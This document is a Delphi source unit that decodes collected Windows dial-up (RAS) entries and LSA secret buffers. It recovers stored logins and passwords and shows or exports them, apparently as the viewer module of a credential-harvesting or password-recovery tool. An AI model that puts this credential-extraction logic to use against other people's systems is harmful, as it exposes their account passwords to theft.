unit Mod_RAS;

interface

uses
  Windows, SysUtils, Mod_Common, Classes, xBase;

type
  PRASEntry = ^TRASEntry;
  TRASEntry = record
    Phone: String;
    Area: String;
    Country: LongWord;
    Login: String;
    Password: String;
    EntryName: String;
    PhoneAlt: TStringList;
  end;

  TModuleRAS = class(TModule)
  private
    FLSAList: TStringList;
    procedure FreeRASList;
    procedure ProcessLSABuffer(Buffer: PWideChar; BufLen: LongWord);
  protected
    class function GetModuleName: String; override;
    class function GetModuleVersion: Integer; override;
    class function GetModuleID: Integer; override;
    function GetIsEmpty: Boolean; override;          
  public
    RASList: TList;

    procedure Run; override;
    destructor Destroy; override;

    function GetAsText: String; override;
    procedure GetAsTree; override;

    procedure ExportModule(DBStream: TMemoryStream); override;
    procedure ImportModule(DBStream: TMemoryStream); override;        
  end;

implementation

const
  TYPE_RAS_LSA		  = 0;
  TYPE_RAS_UID		  = 1;
  TYPE_RAS_PHONE	  = 2;
  TYPE_RAS_AREA		  = 3;
  TYPE_RAS_COUNTRY	  = 4;
  TYPE_RAS_LOGIN	  = 5;
  TYPE_RAS_PASS		  = 6;
  TYPE_RAS_ENTRYNAME	  = 7;
  TYPE_RAS_PHONE_ALT	  = 8;

{ TModuleRAS }

destructor TModuleRAS.Destroy;
begin
  if FLSAList <> nil then FLSAList.Free;
  FreeRASList;
  inherited;
end;

procedure TModuleRAS.FreeRASList;
var
  i: Integer;
begin
  if RASList = nil then Exit;
  for i := 0 to RASList.Count-1 do begin
    with PRASEntry(RASList.Items[i])^ do begin
      Phone := '';
      Area := '';
      Login := '';
      Password := '';
      EntryName := '';
    end;
    PRASEntry(RASList.Items[i])^.PhoneAlt.Free;
    Dispose(RASList.Items[i]);
  end;
  RASList.Free;
end;

procedure TModuleRAS.Run;
var
  P: PRASEntry;
  DataItem: TDataItem;
  RasUID: LongWord;
  GotUID: Boolean;
  S: String;
begin
  inherited;
  FLSAList := TStringList.Create;
  RASList := TList.Create;

  P := nil; GotUID := False; RasUID := 0;

  while HasMoreData do begin
    DataItem := ReadData;

    case DataItem.cType of
      TYPE_RAS_LSA:
        ProcessLSABuffer(@DataItem.Data[1], DataItem.cbData);
      TYPE_RAS_UID: begin
        GotUID := True;
        RasUID := PLongWord(@DataItem.Data[1])^;
      end;
      TYPE_RAS_PHONE: begin
        New(P);
        P.Phone := DataItem.Data;
        P.PhoneAlt := TStringList.Create;
        RASList.Add(P);
      end;
      TYPE_RAS_AREA: if P <> nil then
        P.Area := DataItem.Data;
      TYPE_RAS_COUNTRY: if P <> nil then
        P.Country := PLongWord(@DataItem.Data[1])^;
      TYPE_RAS_LOGIN: if P <> nil then
        P.Login := DataItem.Data;
      TYPE_RAS_ENTRYNAME: if P <> nil then
        P.EntryName := DataItem.Data;
      TYPE_RAS_PASS: if P <> nil then begin
        P.Password := DataItem.Data;
        S := '';
        if GotUID then
          S := FLSAList.Values[IntToStr(RasUID)];
        if S <> '' then
          P.Password := S;
        GotUID := False;
      end;
      TYPE_RAS_PHONE_ALT: if P <> nil then begin
        //P.PhoneAlt.Add(DataItem.Data);
      end;
    else begin
        FError := ERR_UNK_ITEM;
        Exit;
      end;
    end;
  end;
end;

procedure TModuleRAS.ProcessLSABuffer(Buffer: PWideChar; BufLen: LongWord);
var
  c: Char;
  i, SPos: Integer;
  S, BookID: String;
begin
  S := ''; SPos := 0; BookID := '';
  for i := 0 to BufLen div 2 - 2 do begin
    c := WideCharLenToString(@Buffer[i], 1)[1];
    if c = #0 then begin
      SPos := SPos + 1;
      case SPos of
        1: BookID := S;
        7: if S <> '' then FLSAList.Values[BookID] := S;
      end;
      S := '';
    end else
      S := S + c;
    if SPos = 9 then begin
      BookID := '';
      SPos := 0;
    end;
  end;
end;

function TModuleRAS.GetAsText: String;
var
  i, j: Integer;
begin
  Result := '';
  
  for i := 0 to RASList.Count-1 do begin
    Result := Result + 'Entry: ' + PRASEntry(RASList.Items[i]).EntryName + #13#10;
    Result := Result + 'Phone: ' + PRASEntry(RASList.Items[i]).Phone + #13#10;
    for j := 0 to PRASEntry(RASList.Items[i]).PhoneAlt.Count-1 do
      Result := Result + 'Alt Phone'+IntToStr(j+1) + ': ' + PRASEntry(RASList.Items[i]).PhoneAlt.Strings[j] + #13#10;

    Result := Result + 'Login: ' + PRASEntry(RASList.Items[i]).Login + #13#10;
    Result := Result + 'Password: ' + PRASEntry(RASList.Items[i]).Password + #13#10;
    Result := Result + 'Area: ' + PRASEntry(RASList.Items[i]).Area + #13#10;
    Result := Result + 'Country: ' + IntToStr(PRASEntry(RASList.Items[i]).Country) + #13#10;
    Result := Result + #13#10;
  end;
end;

procedure TModuleRAS.GetAsTree;
var
  i, j: Integer;
  S: String;
begin
  Append(ModuleName, 'Этот модуль содержит dialup пароли', ICON_FOLDER);
  MoveIn;
  for i := 0 to RASList.Count-1 do begin
    S := '<ul><li>Номер: ' + HTMLSafe(PRASEntry(RASList.Items[i]).Phone);
    for j := 0 to PRASEntry(RASList.Items[i]).PhoneAlt.Count-1 do
      S := S + '<li>Номер<sub>'+IntToStr(j+2) + '</sub>: ' + HTMLSafe(PRASEntry(RASList.Items[i]).PhoneAlt.Strings[j]);
    if PRASEntry(RASList.Items[i]).Login <> '' then S := S + '<li>Логин: ' + HTMLSafe(PRASEntry(RASList.Items[i]).Login);
    if PRASEntry(RASList.Items[i]).Password <> '' then S := S + '<li>Пароль: ' + HTMLSafe(PRASEntry(RASList.Items[i]).Password);
    if PRASEntry(RASList.Items[i]).Area <> '' then S := S + '<li>Код города: ' + HTMLSafe(PRASEntry(RASList.Items[i]).Area);
    S := S + '<li>Код страны: ' + IntToStr(PRASEntry(RASList.Items[i]).Country) + '</ul>';
    Append(PRASEntry(RASList.Items[i]).EntryName, S, ICON_RAS);
  end;
  MoveOut;
end;

class function TModuleRAS.GetModuleName: String;
begin
  Result := 'RAS';
end;

class function TModuleRAS.GetModuleID: Integer;
begin
  Result := MODULE_RAS;
end;

class function TModuleRAS.GetModuleVersion: Integer;
begin
  Result := 0;
end;

function TModuleRAS.GetIsEmpty: Boolean;
begin
  Result := RASList.Count = 0;
end;

procedure TModuleRAS.ExportModule(DBStream: TMemoryStream);
var
  i: Integer;
begin
  inherited;

  ExportData([RASList.Count]);
  for i := 0 to RASList.Count-1 do
    with PRASEntry(RASList.Items[i])^ do
      ExportData([Phone, Area, Country, Login, Password, EntryName, PhoneAlt.Text]);
end;

procedure TModuleRAS.ImportModule(DBStream: TMemoryStream);
var
  i: Integer;
  P: PRASEntry;
begin
  inherited;

  RASList := TList.Create;
  for i := 0 to ImportData-1 do begin
    New(P); RASList.Add(P);
    with P^ do begin
      Phone := ImportData;
      Area := ImportData;
      Country := ImportData;
      Login := ImportData;
      Password := ImportData;
      EntryName := ImportData;
      PhoneAlt := TStringList.Create;
      PhoneAlt.Text := ImportData;
    end;
  end;
end;

end.
